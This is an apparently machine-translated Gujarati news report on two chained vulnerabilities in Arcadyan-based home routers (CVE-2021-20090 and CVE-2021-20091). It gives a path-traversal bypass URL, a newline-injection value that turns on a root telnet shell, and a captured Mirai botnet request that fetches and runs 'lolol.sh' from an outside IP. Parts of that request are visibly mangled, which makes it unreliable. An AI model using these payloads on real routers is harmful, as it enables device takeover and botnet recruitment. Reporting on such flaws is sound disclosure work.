17 ઉત્પાદકોને અસર કરતા હોમ રાઉટર્સમાં નબળાઈ

નેટવર્ક પર હોમ રાઉટર્સ કે જેના ફર્મવેર Arcadyan કંપનીના HTTP સર્વર અમલીકરણનો ઉપયોગ કરે છે તેની સામે મોટા પાયે હુમલો નોંધવામાં આવ્યો છે. ઉપકરણો પર નિયંત્રણ મેળવવા માટે, બે નબળાઈઓના સંયોજનનો ઉપયોગ કરવામાં આવે છે જે રુટ અધિકારો સાથે મનસ્વી કોડના દૂરસ્થ અમલને મંજૂરી આપે છે. આ સમસ્યા Arcadyan, ASUS અને Buffalo ના ADSL રાઉટર્સની એકદમ વ્યાપક શ્રેણીને તેમજ Beeline બ્રાન્ડ્સ હેઠળ પૂરા પાડવામાં આવતા ઉપકરણોને અસર કરે છે (સમસ્યાની પુષ્ટિ Smart Box Flash માં થાય છે), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone અને અન્ય ટેલિકોમ ઓપરેટરો. તે નોંધ્યું છે કે સમસ્યા આર્કેડિયન ફર્મવેરમાં 10 વર્ષથી વધુ સમયથી હાજર છે અને આ સમય દરમિયાન 20 વિવિધ ઉત્પાદકોના ઓછામાં ઓછા 17 ઉપકરણ મોડલ્સ પર સ્થાનાંતરિત કરવામાં વ્યવસ્થાપિત છે.

પ્રથમ નબળાઈ, CVE-2021-20090, પ્રમાણીકરણ વિના કોઈપણ વેબ ઈન્ટરફેસ સ્ક્રિપ્ટને ઍક્સેસ કરવાનું શક્ય બનાવે છે. નબળાઈનો સાર એ છે કે વેબ ઈન્ટરફેસમાં, કેટલીક ડિરેક્ટરીઓ કે જેના દ્વારા ઈમેજો, CSS ફાઈલો અને JavaScript સ્ક્રિપ્ટો મોકલવામાં આવે છે તે પ્રમાણીકરણ વિના સુલભ છે. આ કિસ્સામાં, ડિરેક્ટરીઓ કે જેના માટે પ્રમાણીકરણ વિના ઍક્સેસની મંજૂરી છે તે પ્રારંભિક માસ્કનો ઉપયોગ કરીને તપાસવામાં આવે છે. પેરેન્ટ ડાયરેક્ટરી પર જવા માટેના પાથમાં “../” અક્ષરોનો ઉલ્લેખ કરવો એ ફર્મવેર દ્વારા અવરોધિત છે, પરંતુ “..%2f” સંયોજનનો ઉપયોગ કરવાનું છોડી દેવામાં આવ્યું છે. આમ, “http://192.168.1.1/images/..%2findex.htm” જેવી વિનંતીઓ મોકલતી વખતે સુરક્ષિત પૃષ્ઠો ખોલવાનું શક્ય છે.

બીજી નબળાઈ, CVE-2021-20091, અધિકૃત વપરાશકર્તાને apply_abstract.cgi સ્ક્રિપ્ટ પર ખાસ ફોર્મેટ કરેલા પરિમાણો મોકલીને ઉપકરણની સિસ્ટમ સેટિંગ્સમાં ફેરફાર કરવાની મંજૂરી આપે છે, જે પરિમાણોમાં નવી લાઇન અક્ષરની હાજરી માટે તપાસ કરતી નથી. . ઉદાહરણ તરીકે, પિંગ ઑપરેશન કરતી વખતે, હુમલાખોર ફીલ્ડમાં “192.168.1.2%0AARC_SYS_TelnetdEnable=1” મૂલ્યનો ઉલ્લેખ કરી શકે છે જેમાં IP એડ્રેસ ચેક કરવામાં આવે છે, અને જ્યારે સેટિંગ્સ ફાઇલ /tmp/etc/config/ બનાવતી હોય ત્યારે સ્ક્રિપ્ટ. .glbcfg, તેમાં “AARC_SYS_TelnetdEnable=1” લાઇન લખશે, જે telnetd સર્વરને સક્રિય કરે છે, જે રૂટ અધિકારો સાથે અનિયંત્રિત આદેશ શેલ ઍક્સેસ પ્રદાન કરે છે. એ જ રીતે, AARC_SYS પેરામીટર સેટ કરીને, તમે સિસ્ટમ પર કોઈપણ કોડને એક્ઝિક્યુટ કરી શકો છો. પ્રથમ નબળાઈ તેને “/images/..%2fapply_abstract.cgi” તરીકે ઍક્સેસ કરીને પ્રમાણીકરણ વિના સમસ્યારૂપ સ્ક્રિપ્ટ ચલાવવાનું શક્ય બનાવે છે.

નબળાઈઓનો ઉપયોગ કરવા માટે, હુમલાખોર નેટવર્ક પોર્ટ કે જેના પર વેબ ઈન્ટરફેસ ચાલી રહ્યું છે તેને વિનંતી મોકલવામાં સક્ષમ હોવું જોઈએ. હુમલાના પ્રસારની ગતિશીલતાને આધારે, ઘણા ઓપરેટરો સપોર્ટ સેવા દ્વારા સમસ્યાઓના નિદાનને સરળ બનાવવા માટે બાહ્ય નેટવર્કમાંથી તેમના ઉપકરણો પર ઍક્સેસ છોડી દે છે. જો ઇન્ટરફેસની ઍક્સેસ ફક્ત આંતરિક નેટવર્ક સુધી મર્યાદિત હોય, તો "DNS રીબાઇન્ડિંગ" તકનીકનો ઉપયોગ કરીને બાહ્ય નેટવર્કમાંથી હુમલો કરી શકાય છે. મિરાઈ બોટનેટથી રાઉટર્સને કનેક્ટ કરવા માટે નબળાઈઓનો પહેલેથી જ સક્રિય રીતે ઉપયોગ કરવામાં આવી રહ્યો છે: POST /images/..%2fapply_abstract.cgi HTTP/1.1 કનેક્શન: બંધ વપરાશકર્તા-એજન્ટ: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_address=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

સોર્સ: opennet.ru